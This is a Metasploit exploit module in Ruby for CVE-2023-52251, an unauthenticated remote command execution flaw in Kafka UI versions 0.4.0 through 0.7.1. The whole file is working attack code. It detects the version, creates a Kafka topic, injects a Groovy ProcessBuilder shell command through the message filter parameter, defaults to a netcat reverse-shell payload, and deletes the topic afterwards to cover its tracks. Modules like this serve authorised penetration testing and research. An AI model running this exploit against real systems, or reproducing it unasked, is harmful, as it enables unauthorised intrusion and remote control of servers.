##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kafka UI Unauthenticated Remote Command Execution via the Groovy Filter option.',
'Description' => %q{
A command injection vulnerability exists in Kafka ui between `v0.4.0` and `v0.7.1` allowing
an attacker to inject and execute arbitrary shell commands via the `groovy` filter parameter
at the `topic` section.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
'BobTheShopLifter and Thingstad', # Discovery of the vulnerability CVE-2023-52251
],
'References' => [
['CVE', '2023-52251'],
['URL', 'https://attackerkb.com/topics/ATJ1hTVB8H/cve-2023-52251'],
['URL', 'https://github.com/BobTheShoplifter/CVE-2023-52251-POC']
],
'DisclosureDate' => '2023-09-27',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd,
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x00"
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8080,
'SSL' => false
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end
def vuln_version?
@version = ''
res = send_request_cgi({
'method' => 'GET',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'actuator', 'info')
})
if res && res.code == 200 && (res.body.include?('build') || res.body.include?('git'))
res_json = res.get_json_document
unless res_json.blank?
if res.body.include?('build')
@version = res_json['build']['version'].delete_prefix('v') # remove v from vx.x.x
elsif res.body.include?('git')
# use case where only the git commit id gets returned without the version information
# determine version using the git commit id to match the first 7 chars of the sha commit stored in data/kafka_ui_versions.json file.
git_commit_id = res_json['git']['commit']['id']
kafka_ui_versions_json = JSON.parse(File.read(::File.join(Msf::Config.data_directory, 'kafka_ui_versions.json'), mode: 'rb'))
unless kafka_ui_versions_json.blank?
# loop thru the list of commits and return the version based a match on the first 7 chars of the sha commit else return nil
kafka_ui_versions_json.each do |tag|
if tag['commit']['sha'][0, 7] == git_commit_id
@version = tag['name'].delete_prefix('v')
break
end
end
end
end
end
return Rex::Version.new(@version) <= Rex::Version.new('0.7.1') && Rex::Version.new(@version) >= Rex::Version.new('0.4.0') if @version.match(/\d\.\d\.\d/)
end
false
end
def get_cluster
res = send_request_cgi({
'method' => 'GET',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'clusters')
})
if res && res.code == 200 && res.body.include?('status')
res_json = res.get_json_document
unless res_json.blank?
# loop thru list of clusters and return an active cluster with topic count > 0 else return nil
res_json.each do |cluster|
if cluster['status'] == 'online' || cluster['topicCount'] > 0
return cluster['name']
end
end
end
end
nil
end
def create_topic(cluster)
topic_name = Rex::Text.rand_text_alphanumeric(4..10)
post_data = {
name: topic_name.to_s,
partitions: 1,
replicationFactor: 1,
configs:
{
'cleanup.policy': 'delete',
'retention.bytes': '-1'
}
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics'),
'data' => post_data.to_s
})
if res && res.code == 200 && res.body.include?(topic_name.to_s)
res_json = res.get_json_document
unless res_json.blank?
return res_json['name']
end
end
nil
end
def delete_topic(cluster, topic)
res = send_request_cgi({
'method' => 'DELETE',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics', topic.to_s)
})
return true if res && res.code == 200
false
end
def produce_message(cluster, topic)
# Create a dummy message to trigger the groovy script execution
post_data = {
partition: 0,
key: 'null',
content: 'null',
keySerde: 'String',
valueSerde: 'String'
}.to_json
res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'uri' => normalize_uri(target_uri.path, 'api', 'clusters', cluster.to_s, 'topics', topic.to_s, 'messages'),
'data' => post_data.to_s
})
return true if res && res.code == 200
false
end
def execute_command(cmd, _opts = {})
payload = "Process p=new ProcessBuilder(\"sh\",\"-c\",\"#{cmd}\").redirectErrorStream(true).start()"
return send_request_cgi({
'method' => 'GET',
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'api', 'clusters', @cluster.to_s, 'topics', @new_topic.to_s, 'messages'),
'vars_get' => {
'q' => payload.to_s,
'filterQueryType' => 'GROOVY_SCRIPT',
'attempt' => 2,
'limit' => 100,
'page' => 0,
'seekDirection' => 'FORWARD',
'keySerde' => 'String',
'valueSerde' => 'String',
'seekType' => 'BEGINNING'
}
})
end
def check
vprint_status("Checking if #{peer} can be exploited.")
return CheckCode::Appears("Kafka-ui version: #{@version}") if vuln_version?
unless @version.blank?
if @version.match(/\d\.\d\.\d/)
return CheckCode::Safe("Kafka-ui version: #{@version}")
else
return CheckCode::Detected("Kafka-ui unknown version: #{@version}")
end
end
CheckCode::Safe
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
vprint_status('Searching for active Kafka cluster...')
@cluster = get_cluster
fail_with(Failure::NotFound, 'Could not find or connect to an active Kafka cluster.') if @cluster.nil?
vprint_good("Active Kafka cluster found: #{@cluster}")
vprint_status('Creating a new topic...')
@new_topic = create_topic(@cluster)
fail_with(Failure::Unknown, 'Could not create a new topic.') if @new_topic.nil?
vprint_good("New topic created: #{@new_topic}")
vprint_status('Trigger Groovy script payload execution by creating a message...')
fail_with(Failure::PayloadFailed, 'Could not trigger the Groovy script payload execution.') unless produce_message(@cluster, @new_topic)
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
end
# cleaning up the mess and remove new created topic
vprint_status('Removing tracks...')
if delete_topic(@cluster, @new_topic)
vprint_good("Successfully deleted topic #{@new_topic}.")
else
print_error("Could not delete topic #{@new_topic}. Manually cleaning required.")
end
end
end
